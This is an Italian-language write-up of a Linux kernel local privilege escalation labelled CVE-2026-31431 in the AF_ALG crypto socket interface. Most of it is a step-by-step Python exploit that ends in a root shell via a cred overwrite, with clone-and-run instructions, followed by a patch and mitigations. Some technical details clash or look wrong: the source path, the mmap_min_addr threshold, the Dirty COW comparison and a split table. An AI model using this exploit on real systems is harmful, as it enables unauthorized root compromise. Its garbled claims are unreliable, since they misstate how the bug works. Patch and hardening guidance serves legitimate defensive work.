
# Exploit Python per CVE-2026-31431, una LPE del kernel Linux tramite dereferenziazione di puntatore nullo in AF_ALG che porta a scrittura OOB nell'heap e sovrascrittura delle credenziali. Include una guida dettagliata e indicazioni di mitigazione.
Classe di bug: dereferenziazione di puntatore NULL → scrittura heap OOB → sovrascrittura delle credenziali
Sottosistema interessato:net/alg/af_alg.c
Impatto: Escalation dei privilegi locale (utente non privilegiato → root)
Kernel interessati: Linux 4.4 – 4.9 (pre-patch)
Chiami setsockopt() con un puntatore NULL dove il kernel si aspetta un indirizzo di spazio utente. Il kernel legge dall'indirizzo 0x00000000 — e se hai mappato la pagina zero, controlli ciò che legge. Questa singola primitiva si trasforma in una scrittura heap out-of-bounds che ti permette di sovrascrivere la tua struttura cred. Game over.
L'interfaccia AF_ALG è stata introdotta per permettere ai programmi in spazio utente di accedere alle routine crittografiche del kernel senza implementare gli algoritmi da soli. Cifratura, decifratura, hashing — tutto esposto tramite un'interfaccia socket. Idea pulita. Il problema è che setsockopt(ALG_SET_AEAD_AUTHSIZE) non si preoccupava di verificare se l'utente avesse passato un puntatore valido o NULL.
La maggior parte dei bug da puntatore nullo muore immediatamente — il kernel dereferenzia 0x0, che non è mappato, e ottieni un oops. Questo sopravvive grazie a una precondizione separata: se vm.mmap_min_addr = 0, un attaccante può chiamare mmap(0, ...) e posizionare dati controllati dall'attaccante nella pagina zero. Ora il kernel non legge spazzatura — legge esattamente ciò che ci hai messo.
La chiamata vulnerabile:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Normalmente il quarto argomento è un puntatore a un valore di 4 byte che specifica la dimensione del tag di autenticazione. Il kernel chiama copy_from_user() su di esso. Nessuna validazione del puntatore. Passa NULL, e copy_from_user(dest, 0x00000000, 4) legge dalla pagina zero.
Cosa controlli:
I 4 byte all'indirizzo 0x0 — che imposti prima di effettuare la chiamata. Questo ti dà un valore authsize arbitrario.
Perché è pericoloso:
Le operazioni AEAD allocano un buffer dimensionato per contenere il testo cifrato più il tag di autenticazione. Se inserisci un authsize gonfiato, il kernel scrive il tag oltre la fine del buffer allocato — una classica scrittura heap out-of-bounds. Da lì, è questione di heap grooming per far atterrare quella scrittura su una struct cred.
L'exploit è scritto in Python 3, usando solo la libreria standard. Ecco cosa fa realmente ogni fase e perché.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (famiglia di socket 38) è l'API crittografica del kernel. Il binding a authencesn(hmac(sha256),cbc(aes)) richiede un template di cifratura autenticata — HMAC-SHA256 per l'integrità, AES-CBC per la riservatezza. Questo template è scelto perché la gestione del suo tag di autenticazione è dove avviene la scrittura vulnerabile.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
Viene caricata una chiave di 72 byte. La chiave in sé non conta per lo sfruttamento — ciò che conta è che il socket sia completamente inizializzato prima della chiamata trigger. Un socket AEAD senza chiave potrebbe rifiutare l'operazione authsize prematuramente.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
Questa è la vulnerabilità. None in Python corrisponde a un puntatore NULL nell'API C. Il kernel legge 4 byte da 0x00000000. Poiché la pagina zero è già stata popolata con il valore authsize desiderato, il kernel ora ha una lunghezza del tag di autenticazione controllata dall'attaccante.
u, _ = a.accept()
accept() su un socket AF_ALG restituisce un socket operativo. Le operazioni crittografiche avvengono qui.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # IV zero
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # AAD di 20 byte
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # tipo di operazione
],
MSG_MORE
)
I messaggi di controllo ancillari configurano l'operazione — IV, lunghezza dei dati associati, direzione dell'operazione. I dati reali sono il chunk di 4 byte dal payload dell'exploit più il padding.
Poi viene usato splice per alimentare i dati dal file descriptor di un binario SUID nel socket operativo, evitando qualsiasi copia in spazio utente:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
Usare splice() qui è deliberato — evita che i dati tocchino mai la memoria in spazio utente, il che mantiene il layout dell'heap lato kernel più prevedibile. Quando l'operazione AEAD elabora questi dati, l'authsize corrotto fa sì che la scrittura del tag di autenticazione si riversi nella memoria heap adiacente.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
Il payload compresso contiene i valori reali da scrivere — offset dei campi della struct cred costruiti ad arte e valori UID/GID azzerati. Ogni iterazione di 4 byte piazza una scrittura. Il ciclo sovrascrive progressivamente la struttura cred di destinazione finché tutti gli UID e GID non sono zero.
os.system("su")
Con cred->uid = cred->euid = cred->gid = 0, il processo corrente è di fatto root. Lanciare su (o qualsiasi altro binario) eredita quelle credenziali. Shell di root.
mappa la pagina zero
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ il kernel legge authsize da 0x0
│ l'attaccante controlla quel valore
▼
sendmsg + splice → operazione AEAD
│ authsize gonfiato causa scrittura heap OOB
│
▼
heap grooming fa atterrare la scrittura su struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → shell di root
| Condizione | Perché è importante |
|---|---|
vm.mmap_min_addr = 0 | Permette la mappatura della pagina zero — l'intera primitiva dipende da questo |
Controlla il tuo limite mmap:
sysctl vm.mmap_min_addr
Un valore di 0 o 4096 indica esposizione.
# 1. Clona
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Verifica le precondizioni
sysctl vm.mmap_min_addr
uname -r
# 3. Esegui
python3 exploit.py
Output atteso su un sistema vulnerabile:
root@hostname:/#
La patch è semplice — un controllo di nullità prima della chiamata copy_from_user() in af_alg_set_aead_authsize:
// Prima (vulnerabile)
copy_from_user(&authsize, optval, sizeof(authsize));
// Dopo (patchato)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Commit rilevante: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Mitigazioni che spezzano la catena dell'exploit senza patchare:
vm.mmap_min_addr = 65536 — blocca la mappatura della pagina zero, uccide la primitiva di dereferenziazione NULLCONFIG_CRYPTO_USER_API_AEAD — rimuove completamente la superficie d'attaccoQuesta classe di bug — validazione mancante del puntatore prima di copy_from_user() — appare regolarmente nei sottosistemi del kernel che espongono API complesse allo spazio utente. La primitiva della pagina zero è stata usata in molteplici exploit LPE nel corso degli anni (era Dirty COW, varianti della catena CVE-2016-5195). Il punto non è solo questa specifica CVE; è il pattern: ovunque il kernel copi da un indirizzo fornito dall'utente senza validare quell'indirizzo, e la pagina zero sia mappabile, hai una primitiva che vale la pena esaminare.
Per i difensori, automatizzare l'audit dei punti di chiamata copy_from_user() senza controlli di nullità precedenti nei gestori delle opzioni socket vale la pena di essere integrato nel tuo processo di revisione del kernel.
net/alg/af_alg.c — sorgente del kernelaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — documentazione dell'interfaccia AF_ALGRicerca e writeup solo per scopi educativi e difensivi. Non utilizzare su sistemi senza autorizzazione esplicita.
| AF_ALG compilato nel kernel | Deve essere abilitato (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Kernel 4.4 – 4.9 (non patchato) | Il percorso di codice vulnerabile esiste |
| Accesso utente locale | Solo LPE — non sfruttabile da remoto |